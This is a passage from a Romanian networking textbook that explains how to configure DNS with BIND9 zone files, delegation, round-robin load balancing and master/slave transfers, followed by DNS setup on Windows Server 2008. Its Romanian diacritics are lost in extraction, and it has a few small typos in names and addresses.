Din punct de vedere funcional, fiierul de configurare de mai sus s-ar traduce astfel:
Domeniul peste care serverul este autoritar este politehnica.ro (n fiier este completat
doar cuvntul politehnica, ns acestuia i este concatenat parametrul $ORIGIN )
Clasa tuturor nregistrrilor este IN. Aceasta este clasa folosit peste tot n Internet.
Introducerea ei este opional.
Domeniul politehnica.ro are 5 nregistrri
o SOA acest tip de nregistrare are o sintaxa diferit de cea standard i va di discutat mai jos.
o TXT nregistrarea TXT ofer un comentariu legat de societatea ce deine domeniul
o NS aceast nregistrare precizeaz serverul de nume care va rspunde la cererile pentru acest
domeniu: ns.politehnica.ro (.ro este concatenat de la parametrul $ORIGIN)
o MX - nregistrarea de tip MX are un format special: o prioritate i apoi adresa serverului. Prioritatea
definete ordinea n care un client va ncerca s contacteze serverele de mail ale domeniului; se va
ncerca mai nti conectarea la serverele cu prioritate mai mic.
259 | D N S

o A face posibil traducerea acestui domeniu oferind adresa IP pentru politehnica.ro
Pentru domeniul politehnica.ro s-a completat numele unui server de e-mail (intrarea MX) i
serverul de nume (intrarea NS). Fiecare dintre acestea, pentru a putea fi rezolvate, are nevoie
de asocierea cu o adresa IP. Acest lucru este realizat de urmtoarele dou nregistrri DNS de
tip A.
De asemenea mai exist nca 2 nregistrri A pentru traducerea domeniilor
www.politehnica.ro i ftp.politehnica.ro. A se observa faptul c cele dou nume de
domenii au fost date cu nume complet i ncheiate cu caracterul . (punct). Notaia aceasta este
perfect echivalenta cu a scrie: www.politehnica i ftp.politehnica, avnd parametrul
$ORIGIN ro. Trebuie avut atenie totui la folosirea ambelor notaii, cci se poate ntampla
ca n loc de www.politehnica.ro. , s se completeze doar www.politehnica.ro i s se
uite caracterul ., de la sfrit. Dac se configureaz astfel, domeniul final va fi
www.politehnica.ro.ro, i deci, eronat.
Ca o ultim observaie, comentariile din fiier care au fost fcute cu ajutorul caracterului ;
Inregistrarea de de tip SOA are o sintax mai special i trebuie s fie prima nregistrare
n fiierul de zon.
domeniu IN SOA server_autoritar adres_mail_admin (
serial
refresh
retry
expire
ttl
)
domeniu = politehnica.ro.: Specific numele complet al domeniului gestionat.
server_autoritar = ns.politehnica.ro.: Precizeaz un server de nume ce va fi trimis drept
rspuns atunci cnd nu se poate rspunde la cerere, dar numele interogat este inclus n
domeniul pentru care serverul este autoritar. Aceasta se ntmpl cnd un server slave d un
rspuns negativ. n general, acest cmp trebuie setat la numele serverului master pentru
domeniul respectiv.
adres_mail_admin = admin.politehnica.ro.: Precizeaz adresa de e-mail a
administratorului domeniului, n care caracterul @ este nlocuit cu . (ex: n loc de
admin@politehnica.ro, apare admin.politehnica.ro.)
serial = 2007092001: Indic versiunea bazei de date DNS pentru domeniu. Aceast serie este
verificat de serverele slave pentru a determina dac este necesar o descrcare a bazei de
date de la master. De obicei se folosete o convenie a formatului seriei: AAAALLZZMM, unde
AAAA reprezint anul, LL luna, DD ziua, iar MM numrul modificrii din ziua respectiv. Aceast
convenie nu este obligatorie, dar este indicat.
Seria bazei de date trebuie incrementat la fiecare modificare fcut n domeniu, altfel
modificrile nu se vor propaga la serverele slave.
refresh = 8H: Conine intervalul de timp la care serverul slave va interoga seria bazei de date a
serverului master. Implicit acest timp este exprimat n secunde, dar valoarea cmpului refresh
poate exprima minutele - dac se folosete sufixul M, orele - dac se folosete sufixul H, sau
zilele - dac se folosete sufixul D.
retry = 2H: Indic intervalul de timp la care serverul slave va ncerca s se reconecteze la
serverul master, dac o ncercare de conectare la server a euat.
expire = 1W: Indic perioada de timp dup care baza de date a serverului slave este invalidat,
dac nu se reuete o conectare la serverul master.
ttl = 1D: Reprezint timpul de via pentru rspunsuri negative. Acest timp este diferit de
timpul de viaa al rspunsurilor pozitive.



260 | R e e l e L o c a l e

7.2.3.5.4 Configurarea fiierului de zon pentru rezolvarea invers
n acest moment serverul DNS a fost configurat pentru rezolvare direct. n continuare se
va exemplifica i fiierul de zon pentru rezolvarea invers: db.111.100.142.in-addr.arpa
$ORIGIN 100.142.in-addr.arpa.
111 IN SOA ns.politehnica.ro. nsmaster.politehnica.ro. (
2007092001 ; Serial
8H ; Refresh
2H ; Retry
1W ; Expire
1D ; Negative TTL
)
TXT Universitatea Plitehnica Bucuresti
NS ns.politehnica.ro.

$ORIGIN 111.100.142.in-addr.arpa.

21 PTR ftp.politehnica.ro.
25 PTR mail.politehnica.ro.
80 PTR www.politehnica.ro.
Exceptnd nregistrarea SOA, pentru domeniul 111.100.142.in-addr.arpa se adaug o
nregistrare text de descriere a domeniului, una pentru serverul de nume i alte 3 nregistrri
de tip pointer pentru rezolvarea 21.111.100.142.in-addr.arpa n ftp.politehnica.ro,
25.111.100.142.in-addr.arpa n mail.politehnica.ro i 80.111.100.142.in-
addr.arpa n www.politehnica.ro.
n schema de mai jos sunt prezentate fiierele create/editate/descrise n seciunea de mai
sus i modul n care fiecare contribuie la traducerea direct i invers a domeniului
politehnica.ro

7-3: Fiiere de configurare
7.2.3.6 Verificarea serverului DNS
Se recomand urmrirea exemplului de mai sus i implementarea acestuia pe o staie
local, fiind o configuraie simpl de server DNS, care va constitui baza pentru configuraii mai
avansate.
7.2.3.7 Verificarea sintaxei
Din pcate, n realizarea primelor configurri de DNS se poate grei foarte uor la sintaxa
destul de strict a fiierelor de configurare. De aceea serverul BIND pune la dispoziie dou
utilitare cu care se poate verifica fiierul principal de configurare (alturi de toate fiierele
incluse n acesta) i fiierele de zon. Acestea se numesc: named-checkconf i named-
checkzone.
politehnica.ro
db.politehnica.ro
db.111.100.142.in-
addr.arpa
rezolvare direct rezolvare invers
Named.conf.local
261 | D N S

waters@myr:/etc/bind# named-checkconf
waters@myr:/etc/bind# named-checkzone politehnica.ro. /etc/bind/db.politehnica.ro
zone politehnica.ro/IN: loaded serial 2007092001
OK

waters@myr:/etc/bind# named-checkzone 111.100.142.in-addr.arpa
/etc/bind/db.111.100.142.in-addr.arpa
zone 111.100.142.in-addr.arpa/IN: loaded serial 2007092001
OK
7.2.3.8 Testarea funcionrii
Pentru a putea testa buna funcionare a domeniului politehnica.ro, va trebui s se
restarteze serviciul bind9 i s se interogheze serverul cu utilitarul host.
root@myr:/etc/bind# /etc/init.d/bind9 restart
* Stopping domain name service... bind [ OK ]
* Starting domain name service... bind [ OK ]

user@orange:/etc/bind# host www.politehnica.ro 142.100.111.53
Using domain server:
Name: 142.100.111.53
Address: 142.100.111.53#53
Aliases:

www.politehnica.ro has address 142.100.111.80

user@orange:/etc/bind# host -t PTR 80.111.100.142.in-addr.arpa
80.111.100.142.in-addr.arpa domain name pointer www.politehnica.ro.
La apelarea utilitarului host s-a folosit i argumentul 142.100.111.53 prin care s-a
specificat adresa serverului DNS pe care host va trebui s l interogheze; bineneles acea
adresa IP este adresa IP a serverului pe care s-au fcut configurrile de mai sus. Se observ c
cele 2 interogri efectuate cu utilitarul host sunt rezolvate cu succes de ctre serverul DNS.
Este vorba de rezolvarea direct a adresei www.politehnica.ro n 142.100.111.80 i de
rezolvarea invers a 142.100.111.80 n www.politehnica.ro.
7.2.3.9 BIND9 debugging
Dei BIND9 include cele dou utilitare, named-checkconf pentru verificarea fiierului
principal de configurare i named-checkzone pentru verificarea zonelor, acestea nu ofer
ntotdeauna cele mai intuitive mesaje de eroare. Din acest motiv, n continuare se vor
prezenta scenarii de debugging mai ncpnate i sursa greelilor din acestea.

10. Eroarea numelor
Cea mai ntlnit greeal este fr ndoiala uitarea punctului. Cea mai bun indicatie
asupra acestui fapt este eroarea: ignoring out-of-zone data. Aceasta poate nsemn totui i
faptul c numele de domeniu este scris greit n SOA sau c zona are numele scris greit n
definirea acesteia din fisierul named.conf.local.

11. Eroarea copy-paste
Avnd n vedere sintaxa complicat BIND, se recomand pstrarea unor template-uri care
s fie folosite la configuraii noi. ns trebuie foarte mult atenie la copierea dintr-un fiier n
altul deoarece simpla copiere a unui spaiu n plus, luat odat cu numele de domeniu, poate s
mute caracterul . mai la dreapta i s rezulte n aceast eroare: not a valid number.

12. Eroarea neraportat
Una din cele mai greu de depistat erori const n a scrie greit numele de cale al fiierului
de zon n fiierului named.conf.local. Dei serverul DNS nu va funciona pentru respectiva
zon, acesta va porni fr s ofere o eroare. De asemenea niciunul din utilitarele named-check
nu raporteaz ceva n neregul.
262 | R e e l e L o c a l e

Pentru alte greeli comune i puncte cheie care presupun o atenie sporit, se poate
consulta RFC1912
1
care trateaz tocmai aceste subiecte.
7.2.3.10 Eficientizarea sintaxei fiierelor de zon
Dei fiierul de zon configurat mai sus este corect specificat, exist unele mici artificii de
sintax care sunt ntlnite destul de des n implementarea unui server DNS i care trebuie
tiute de orice administrator de BIND.

1. Omiterea numelui de domeniu ce se repet consecutiv.
Pentru nceput se poate observa c n fiierul db.politehnica.ro, dat ca exemplu mai
sus, domeniul politehnica.ro a avut 5 nregistrri diferite: SOA, TXT, MX, NS, A. Sintaxa DNS
general pentru o nregistrare este:
nume_domeniu ttl clasa tip informatii // nregistrare DNS
Cuvntul politehnica a aprut deci de 5 ori ca nume de domeniu. Acest lucru nu este
neaprat necesar. Atunci cnd numele de domeniu este la fel pentru nregistrrile ce urmeaz,
acesta poate fi omis:
[...]

politehnica IN SOA ns.politehnica.ro. admin.politehnica.ro. (
2007092001 ; Serial
8H ; Refresh
2H ; Retry
1W ; Expire
1D ; Negative TTL
)
TXT "Universitatea Plitehnica Bucuresti"
NS ns.politehnica
MX 10 mail.politehnica
A 142.100.111.53

ns.politehnica IN A 142.100.111.53
[...]
2. Simbolul @
Exist multe exemple de configuraii BIND pe Internet. Multe din acestea conin n fiierul
de zona simbolul @. Simbolul acesta este echivalent cu argumentul directivei $ORIGIN. n
exemplul de mai jos, a scrie politehnica.ro. sau a scrie @ ar avea acelai efect. Deci un alt
mod de a scrie fiierul db.politehnica.ro este urmtorul:
$ORIGIN politehnica.ro.
$TTL 36000
@ IN SOA ns.politehnica.ro. admin.politehnica.ro. (
2007092001 ; Serial
8H ; Refresh
2H ; Retry
1W ; Expire
1D ; Negative TTL
)
TXT "Universitatea Plitehnica Bucuresti"
NS ns
MX 10 mail
A 142.100.111.53

ns IN A 142.100.111.53
mail IN A 142.100.111.25
www IN A 142.100.111.80
ftp IN A 142.100.111.21
Se observ c argumentul $ORIGIN a fost schimbat din ro. n politehnica.ro., iar n
locul numelui de domeniu din faa nregistrrii SOA, s-a introdus simbolul @. Acesta este
perfect echivalent cu a scrie politehnica.ro.

1
http://www.ietf.org/rfc/rfc1912.txt
263 | D N S

n continuare, la nregistrrile TXT, NS, MX i A, nu s-a mai introdus simbolul @,
conform regulii de la punctul 1. De asemenea cu ct directiva $ORIGIN este mai cuprinztoare
cu att fiierul mai aerisit i citirea sa mai uoar.
3. Redefinirea parametrului $ORIGIN
Sintaxa DNS permite redefinirea parametrului $ORIGIN pentru o mai mare flexibilitate a
fiierelor de zon.
$ORIGIN ro.
$TTL 36000
politehnica IN SOA ns.politehnica.ro. admin.politehnica.ro. (
2007092001 ; Serial
8H ; Refresh
2H ; Retry
1W ; Expire
1D ; Negative TTL
)
TXT "Universitatea Plitehnica Bucuresti"
NS ns.politehnica
MX 10 mail.politehnica
A 142.100.111.53
$ORIGIN politehnica.ro.

ns IN A 142.100.111.53
mail IN A 142.100.111.25
www IN A 142.100.111.80
ftp IN A 142.100.111.21
n fiierul de mai sus, pentru primele 5 nregistrri, numele care nu se termin cu
caracterul ., vor fi completate cu ro.. Pentru urmtoarele 3 nregistrri parametrul
$ORIGIN a fost schimbat, deci numele se vor completa cu politehnica.ro.
7.2.3.11 Configurarea unui alias DNS
Pentru a configura un alias DNS se folosete nregistrarea CNAME. Un nume canonic nu
poate fi configurat dect pentru un subdomeniu al domeniului peste care serverul este
autoritar. n caz contrat oricine ar putea realiza un alias pentru google.com care s se traduc
ntr-un IP dorit. Configurarea oferit ca exemplu ca crea f1.politehnica.ro ca alias pentru
www.politehnica.ro.
$ORIGIN politehnica.ro.
[...]

www IN A 142.100.111.80
f1 IN CNAME www

[...]
Dup cum se poate vedea i din interogare, f1.politehnica.ro va fi tradus n acelai IP
ca i www.politehnica.ro.
root@myr:/etc/bind# host www.politehnica.ro 142.100.111.53

Using domain server:
Name: 142.100.111.53
Address: 142.100.111.53#53
Aliases:

www.politehnica.ro has address 142.100.111.80

user@orange:/etc/bind# host f1.politehnica.ro 142.100.111.53

Using domain server:
Name: 142.100.111.53
Address: 142.100.111.53#53
Aliases:

www.politehnica.ro has address 142.100.111.80
Verificarea cu argumentul t CNAME ofer direct rezultatul alias-ului:
waters@myr:~$ host -t CNAME f1.politehnica.ro 142.100.111.80
Using domain server:
Name: 142.100.111.80
Address: 142.100.111.80#53
264 | R e e l e L o c a l e

Aliases:

f1.politehnica.ro is an alias for www.politehnica.ro.
7.3 Configurri avansate DNS
7.3.1 Delegarea unui subdomeniu DNS.
Delegarea DNS este un proces ce a stat la baza ntregii ierarhii a protocolului. Pentru a
analiza acest concept se va considera o situaie n care un administrator de reea dorete s i
cumpere un domeniu de la ROTLD (Romanian Top Level Domain), cu numele: poliadmin.ro.
ROTLD, care deine domeniul .ro, va trebui s delege autoritatea pentru subdomeniul pe
care l vinde. Mai exact, autoritatea ROTLD va crea de acum o asociere ntre IP-ul pe care
administratorul l va asigna staiei ce gzduiete serverul de nume i domeniul poliadmin.ro.
Aceast asociere va putea fi comunicat de ctre TLD-ul .ro, oricrui server din Internet
care va dori s o afle.
Mai mult, administratorul care a cumprat domeniul poliadmin.ro, poate delega mai
departe subdomenii din acesta: foxxy.poliadmin.ro, suzy.poliadmin.ro, etc. Cnd
serverul de nume autoritar peste poliadmin.ro va primi o cerere nerecursiv pentru
domeniul suzy.poliadmin.ro, va rspunde cu adresa IP a serverului de nume cruia a
delegat autoritatea pentru respectivul subdomeniul.
Singura nregistrare cu care se poate realiza delegarea de domenii este nregistrarea NS.
Pentru a clarifica mai bine acest concept se va continua exemplul de mai sus cu delegarea
subdomeniului cs.politehnica.ro. Rspunztor de acest subdomeniu este serverul de
nume ns.cs.politehnica.ro. Adresa acestuia (142.100.222.53) va fi specificat printr-o
nregistrare de tip A.
Procesul de delegare are loc de fapt n fiierul de zon db.politehnica.ro. Fisierul va
arta astfel:
$ORIGIN politehnica.ro.
$TTL 36000
@ IN SOA ns.politehnica.ro. admin.politehnica.ro. (
2007092001 ; Serial
8H ; Refresh
2H ; Retry
1W ; Expire
1D ; Negative TTL
)
TXT "Universitatea Plitehnica Bucuresti"
NS ns
MX 10 mail
A 142.100.111.53

ns IN A 142.100.111.53
mail IN A 142.100.111.25
www IN A 142.100.111.80
ftp IN A 142.100.111.21

; urmeaz partea de delegare

cs NS ns.cs
ns.cs A 142.100.222.53
Ultimele 2 linii din fiier reprezint delegarea domeniului cs.politehnica.ro ctre
serverului de nume ns.cs.politehnica.ro, de pe staia cu IP-ul 142.100.22.53. nregistrarea
de tip NS specific serverul de nume pentru numele cs.politehnica.ro, iar nregistrarea de
tip A asociaza serverul de nume cu un IP. Acum autoritatea a fost delegat. Nu mai rmne
dect s se configureze serverul pentru cs.politehnica.ro, pentru a avea cine s rspund
la o cerere pentru acest domeniu.
Configurarea decurge n mod asemntor cu cea pentru serverul autoritar domeniului
politehnica.ro.
265 | D N S

n fiierul de zone se adaug o singur intrare de zon, cea corespunztoare rezolvrii
directe a domeniului cs.politehnica.ro:
zone "cs.politehnica.ro" {
type master;
file "/etc/bind/db.cs.politehnica.ro";
};
Pentru fiierul de zon db.cs.politehnica.ro se adaug aceleai tipuri de nregistrri ca
n cazul db.politehnica.ro, cu exceptia nregistrrilor corespunztoare delegrii de
subdomeniu.
$ORIGIN politehnica.ro.
$TTL 36000
cs IN SOA ns.cs.politehnica.ro. admin.cs.politehnica.ro. (
2007092001 ; Serial
8H ; Refresh
2H ; Retry
1W ; Expire
1D ; Negative TTL
)
TXT "Computer Science Department"
NS ns.cs
MX 10 mail.cs
A 142.100.222.53

$ORIGIN cs.politehnica.ro.

ns A 142.100.222.53
www A 142.100.222.80
ftp A 142.100.222.21
mail A 142.100.222.25
Se observ similaritatea foarte mare a configuraiei fiierului de zon
db.cs.politehnica.ro cu fiierul db.politehnica.ro. Excepiile constau n numele de
domeniu i adresele IP.
7.3.2 Efectuarea DNS load-balancing.
Cu ajutorul serverului DNS se poate implementa o form destul de primitiv de load
balancing, n care clientul va primi ntr-o maniera round-robin
1
un IP dintr-o list de n IP-uri.
Astfel dac n clieni vor face cte o cerere fiecare, vor primi n IP-uri diferite. Implementarea
efectiv este destul de simpl n serverul BIND i presupune existena a mai multe nregistrri
de tip A pentru acelai nume de domeniu.
[...]
www IN A 142.100.111.80
IN A 142.100.111.81
IN A 142.100.111.82

ftp IN A 142.100.111.21
[...]
Se observ cum la realizarea unor cereri cu ajutorul utilitarului host, serverul rspunde cu
o list de IP-uri permutata ntr-o maniera round-robin. De obicei un client care va primi 3
rspunsuri de tip A, l va alege pe primul i le va ignora pe restul.
waters@myr:~$ host www.politehnica.ro 142.100.111.53
Using domain server:
Name: 142.100.111.53
Address: 142.100.111.53#53
Aliases:

www.radiance.ro has address 142.100.111.80
www.radiance.ro has address 142.100.111.81
www.radiance.ro has address 142.100.111.82

waters@myr:~$ host www.radiance.ro 142.100.111.53
Using domain server:
Name: 142.100.111.53
Address: 142.100.111.53#53
Aliases:

1
parcurgere secvenial a unei liste circulare
266 | R e e l e L o c a l e


www.radiance.ro has address 142.100.111.82
www.radiance.ro has address 142.100.111.80
www.radiance.ro has address 142.100.111.81

waters@myr:~$ host www.radiance.ro 142.100.111.53
Using domain server:
Name: 142.100.111.53
Address: 142.100.111.53#53
Aliases:

www.radiance.ro has address 142.100.111.81
www.radiance.ro has address 142.100.111.82
www.radiance.ro has address 142.100.111.80
7.3.3 Configurarea DNS Master/Slave.
Majoritatea serverelor DNS implementate ntr-un scenariu real au n componen i un
server slave aflat pe o maina fizic separat care s poat interveni n cazul n care masterul
ar nceta s mai funcioneze. La un interval specific, serverul ca copia fiierele de zon de la
master i astfel se va pstra ntotdeauna sincronizat cu acesta. Configuraia de master slave
este prezentat n continuarea exemplului de baz folosit n acest capitol pentru domeniul
politehnica.ro.
n primul rnd, fiierul de zon va trebui modificat pentru a oferi o traducere i pentru
serverul de nume care este slave. Se vor introduce dou nregistrri NS, n loc de una, pentru
ambele severe de nume.
$ORIGIN politehnica.ro.
$TTL 36000
@ IN SOA ns1.politehnica.ro. admin.politehnica.ro. (
2008090501 ; Serial
8H ; Refresh
2H ; Retry
1W ; Expire
1D ; Negative TTL
)
TXT "Universitatea Plitehnica Bucuresti"
NS ns1.politehnica.ro.
NS ns2.politehnica.ro.
MX 10 mail.politehnica.ro.
A 142.100.111.53

ns1 IN A 142.100.111.53
ns2 IN A 142.100.99.1
mail IN A 142.100.111.25
www IN A 142.100.111.80
ftp IN A 142.100.111.21
Trebuie fcute dou observaii legate de fiierul de mai sus:
dei s-au definit dou servere NS, doar masterul este introdus n nregistrarea SOA
serverul ns1 i ns2 sunt localizate pe maini diferite (IP-uri diferite n nregistrrile de tip A);
redundana este dus chiar mai departe prin faptul ca cele dou maini se afl n subneturi
diferite cu masca /24.
Urmeaz definirea zonelor pentru fiecare server. Configurrile se vor face direct n fiierul
principal de configurare (fr a mai folosi named.conf.options i named.conf.local)
Serverul master va avea urmtoarea intrare de zon n named.conf:
zone "politehnica.ro" {
type master;
file "/etc/bind/db.politehnica.ro";
notify yes;
also-notify {
141.85.37.33;
193.230.31.225;
};
allow-transfer {
142.100.99.1
};
};
Observaii:
tipul serverului este setat ca master
267 | D N S

directiva notify: atunci cnd aceast directiv este folosit i setata la valoarea yes, la fiecare
schimbare a fiierului de zon se vor trimite mesaje speciale de NOTIFY tuturor serverelor slave
care sunt specificare n fiierul de zon prin nregistrarea NS (adic serverele de nume cu
nregistrri NS, n afara de cel master care este specificat n SOA).
directiva allow-transfer: permite transferul doar ctre serverul slave cu IP-ul specificat. Dac
aceasta directiv ar lipsi, orice server ar putea s descarce configuraiile de zon de la master.
directiva also-notify: este folosit pentru a notifica i alte servere, care se afl de obicei mai sus
n ierarhia DNS, de schimbarea unui fiier de zon. Este trimis tot un mesaj de tip NOTIFY,
odat cu mesajele trimise i serverelor slave.
cele 3 opiuni specificate prin directivele de mai sus se vor aplica doar zonei
politehnica.ro! Dac acestea ar fi fost introduse n named.conf.options sub directiva
global options, acestea s-ar fi aplicat global.
Intrarea de zon din fiierul de configurare al serverului slave va arta astfel:
zone "politehnica.ro" {
type slave;
file "/etc/bind/db_slave.politehnica.ro.txt";
masters { 142.100.111.53; };
allow-notify { 142.100.111.53; };
};
Observaii:
tipul serverului de nume este slave
directiva masters: indic slave-ului IP-ul serverului master de la care s i descarce configuraia
directiva allow-notify: specific serverele master de la care acest slave accept notificri
7.4 Configurarea unui server DNS pe Windows Server 2008
Buna funcionare a unui sistem de rezolvare a numelor reprezint o component cheie n
orice sistem de operare orientat spre reea. nsi funcionarea unei reele se bazeaz pe
posibilitatea ca entitile ce o formeaz s se poat localiza ntre ele. n consecin, modul de
rezolvare a numelor trebuie s fie flexibil i robust. De asemenea, este de preferat ca acesta s
adere standardelor, din punct de vedere al interoperabilitii i al scalabilitii.
Pentru Windows Server 2008, DNS (Domain Name System) reprezint principala
modalitate de rezolvare a numelor i, totodat, reprezint o component de baz a oricrei
infrastructuri de tip Active Directory.
O alternativ la DNS folosit de unii administratori este WINS (Windows Internet Name
Service), un serviciu de rezolvare a numelor bazat pe NetBIOS care realizeaz asocieri ntre
adresele IP ale staiilor dintr-o reea i numele lor NetBIOS, stocndu-le ntr-o baz de date
dinamic si distribuit.
NetBIOS (Network Basic Input/Output System) reprezint un protocol ce ruleaz peste
TCP/IP
1
i permite calculatoarelor dintr-o reea s comunice pe baza pe baza unuia sau a mai
multor nume de tip NetBIOS. NetBIOS ofer servicii din categoria nivelului sesiune al stivei OSI.
Att WINS ct i DNS reprezint modaliti de rezolvare a numelor, disponibile pe
sistemele Windows. WINS realizeaz rezolvarea numelor n spaiul de nume NetBIOS, n timp
ce DNS le rezolv n spaiul de nume al domeniilor DNS. n general, WINS este folosit att de
ctre clienii ce folosesc versiuni mai vechi de Windows, ct i de aplicaiile bazate pe NetBIOS.
Windows 2000, XP, 2003 Server i 2008 Server folosesc i nume DNS, pe lng cele oferite de
NetBIOS.

1
NetBIOS peste TCP/IP mai este prescurtat i NBT.
268 | R e e l e L o c a l e

7.4.1 Instalare i configurare
Instalarea serviciului DNS pentru Windows Server 2008 se realizeaz prin adugarea unui
rol al serverului. Folosind Server Manager se acceseaz interfaa Add Server Roles i se
selecteaz DNS Server din list. Se continu instalarea, innd cont de recomandarea de a avea
configurat adres static pe interfaa pe care se dorete ca serverul DNS s rspund
cererilor. Server Manager va ateniona n cazul n care nu detecteaz nicio interfa
configurat static.
DNS se ocup, n principal, cu zonele de rezolvare direct (forward lookup zones), care
realizeaz conversia din nume n adrese IP. De asemenea, el se ocup i de conversia invers,
din adrese IP n nume (reverse lookup).
7.4.1.1 Configurarea iniial i crearea unei zone
Dup instalare, interfaa de administrare a serverului DNS pote fi accesat de la Start >
Administrative Tools > DNS. Configurarea iniial se poate realiza de la meniul Action >
Configure a DNS Server. n etapele ce urmeaz se vor exemplifica o serie de aciuni i
configurri pentru a pune n eviden principalele faciliti ale serverului:
1. Pentru nceput, se alege tipul de zon ce va fi creat. Se poate alege dintre: forward lookup
zone, forward and reverse lookup zones sau root hints. Se va crea o zon de rezolvare direct
(forward lookup).

7-4: Alegerea zonei
2. n continuare, se specific dac serverul local este responsabil pentru zon sau deine doar o
copie read-only a zonei configurate pe un alt server. Se merge pe prima opiune.

269 | D N S

7-5: Alegerea serverului principal pentru zon
3. Se introduce un nume pentru zona creat. Acesta este FQDN-ul su (Fully Qualified Domain
Name).

7-6: Numele zonei
4. Fiierul de configuraie al zonei poate fi unul nou sau exist opiunea de a ncrca o
configuraie dintr-un fiier deja existent, creat pe un alt server. Fiierele de configuraie sunt de
tip text, n format ASCII i sunt localizate n %systemroot%\system32\dns. Se va crea un
fiier nou:

7-7: Fiierul de configuraie al zonei
5. Urmtoarea pagin specific dac zona va accepta sau nu actualizri dinamice. Dac
actualizrile dinamice sunt active, clienii DNS vor putea s i nregistreze i s i actualizeze
propriile ntrri (RR Resource Records). n acest caz este important de verificat identitatea
surselor de la care sosesc aceste actualizri pentru a evita inserarea de informaii corupte n
fiierele de configuraie. Pentru acest exemplu se va alege Allow both secure and nonsecure
updates:
270 | R e e l e L o c a l e


7-8: Actualizri dinamice
6. La pasul urmtor se alege comportamentul pentru cererile pe care serverul nu le poate rezolva
direct. Exist opiunea de a forward-a cererile spre alte servere sau de a ncerca s rezolve
astfel de cereri ncepnd de la root servers, fr a le forward-a mai departe. Se alege opiunea
cea din urm:

7-9: Forward-area cererilor spre alte servere
7.4.1.2 Proprieti ale serverului DNS
Pentru a accesa proprietile avansate ale serverului DNS se alege opiunea Properties din
meniul contextual al serverului (obinut la clic dreapta pe numele serverului, din interfaa de
administrare).
n fereastra de proprieti a serverului sunt disponibile opiunile grupate n urmtoarele
cateogorii:
Interfaces: Cuprinde interfeele de reea pe care serverul DNS va asculta cereri. Pot fi selectate
automat toate interfeele active sau se pot selecta doar anumite interfee, dup adresele IP
(recomandabil, statice), IPv4 sau IPv6.
271 | D N S

Forwarders: Reprezint aceeai list de servere ce putea fi completat i la configurarea
iniial: serverele din aceast list vor fi contactate pentru cererile pe care serverul DNS nu le
poate rezolva singur.
Advanced: Opiunile avansate includ activarea sau dezactivarea cererilor recursive (i totodat
a utilizrii serverelor de forwarding), posibilitatea de compatibilitate cu serverele BIND (spre
exemplu pentru cazul n care se folosete un astfel de server ca server secundar),
comportamentul la erorile din fiierele de configurare a zonelor, round-robin n funcie de
prioriti
1
, setul de caractere al numelor acceptate n cereri, amd.

7-10: Opiuni avansate ale serverului DNS
Root hints: Lista de servere ce sunt contactate pentru zonele ce nu sunt configurate local n
serverul DNS, n cazul n care nu exist servere de forwarding sau acestea nu rspund.
Debug logging: Pentru a supraveghea funcionarea serverului, pot fi nregistrate ntr-un fiier
informaii despre pachetele care circul prin serverul DNS. Se poate selecta direcia (intrare,
ieire), protocolul folosit (TCP, UDP) i ce tipuri de pachete vor fi notate. De asemenea, se
poate aplica un filtru pentru a selecta pachetele n funcie de adresa IP de la care sosesc sau
spre care sunt destinate (Figura 7-11).
Event logging: Serverul DNS poate meniona n jurnale diferitele evenimente ce apar n
decursul rulrii sale, ca erori i avertismente. Aici se poate configura care dintre acestea vor
aprea n jurnale.
Monitoring: Aici pot fi efectuate o serie de teste asupra funcionrii serverului, folosind cereri
recursive sau nerecursive. Se pot efectua teste imediate sau la intervale regulate, iar
rezultatele lor sunt evaluate.


1
Round-robin activat din proprietile serverului se face la nivel de server i nu la nivel de zon.
272 | R e e l e L o c a l e


7-11: Opiuni de debug
7.4.1.3 Proprieti ale intrrilor DNS n Windows Server 2008
O zona DNS conine diverse tipuri de intrri, numite resource records (RR). Ele sunt esena
unei zone DNS, oferind informaii despre nume, adrese i, n unele cazuri, despre unele
servicii.
Pentru adugarea unui nou resource record, avnd selectat zona dorit, din panoul de
aciuni se alege tipul de intrare ce se dorete a fi creat.
Tipurile de intrri suportate de serverul DNS pe Windows Server 2008 se conformeaz
standardului descris n RFC 1035 Domain names: Implementation and specification:
A (host): Mapeaz o un nume la o adres IP. O intrare de tipul A n fiierul de configuraie arat
n felul urmtor:
storage A 192.168.1.12
Folosind intrrile A, se poate implementa o tehnic de load balancing denumit i round-robin
DNS, n care, sunt definite mai multe intrri de tip A cu acelai nume dar adrese IP diferite,
astfel c un client care interogheaz serverul DNS are o anumit probabilitate de a primi
adresa unui anumite staii. Tehnica este util n momentul n care se dorete scderea
ncrcrii asupra unui server prin instalarea mai multor servere ce ofer acelai serviciu i
reprezint o soluie foarte simpl (dei uneori ineficient, n practic) de distribuire uniform a
cererilor spre servere. Tot n practic, trebuie inut cont de faptul c un client Windows 2000
sau XP va pstra n cache-ul local informaia despre primul server a crui adres a obinut-o n
urma rezolvrii. O astfel de intrare are valoarea implicit de 86400 secunde (o zi). Micorarea
acestei valori poate pune mai bine n valoare load-balancing-ul implementat pe serverul DNS.
Totui, acest gen de load balancing are dezavantajele sale: nu e flexibil, nu ine cont de
capabilitile serverelor ntre care distribuie cererile i nu poate fi notificat despre un server
care devine inoperaional.
273 | D N S


7-12: Proprietile unei intrri de tip A (host)
CNAME (canonical name): Permite atribuirea mai multor nume aceleiai staii, ce folosete o
singur adres IP. Prin CNAME, o staie poate fi accesat printr-o adres IP i mai multe alte
nume. Un CNAME reprezint, practic, un alias. O intrare CNAME n fiierul de configuraie arat
n felul urmtor:
ftp CNAME data.storage.com

7-13: Proprietile unei intrri de tip CNAME
MX (mail exchanger): nregistreaz identitatea serverului (sau serverelor) de e-mail pentru o
anumit zon sau domeniu. Ele direcioneaz toate calculatoarele ce doresc s trimit mesaje
e-mail spre un anumit domeniu spre un anumit server destinat primirii lor. n fiierele de
configurare, intrrile MX sunt identificate printr-un numr de preferin. Numerele mai mici
ofer o prioritate mai mare. Exemple de intrri MX sunt urmtoarele:
@ MX 10 mail.storage.com
@ MX 100 queue.storage.com
n cazul n care primul server nu rspunde, va fi contactat cel de-al doilea, pentru c numrul
su de preferin este mai mare. Exist posibilitatea de a defini mai multe intrri de tip MX cu
aceeai valoare numeric drept preferin, ceea ce are drept efect realizarea unui load
balancing simplu, ca i n cazul intrrii A.
NS (nameserver): Intrrile definesc serverele de nume ce rspund cererilor pentru un anumit
domeniu. De asemenea, ele pot delega rezolvrile numelor pentru anumite subdomenii unor
altor servere. O intrare NS ntr-un fiier de configurare arat n modul urmtor:
@ NS ns1.storage.com

274 | R e e l e L o c a l e


7-14: Proprietile unei intrri de tip MX


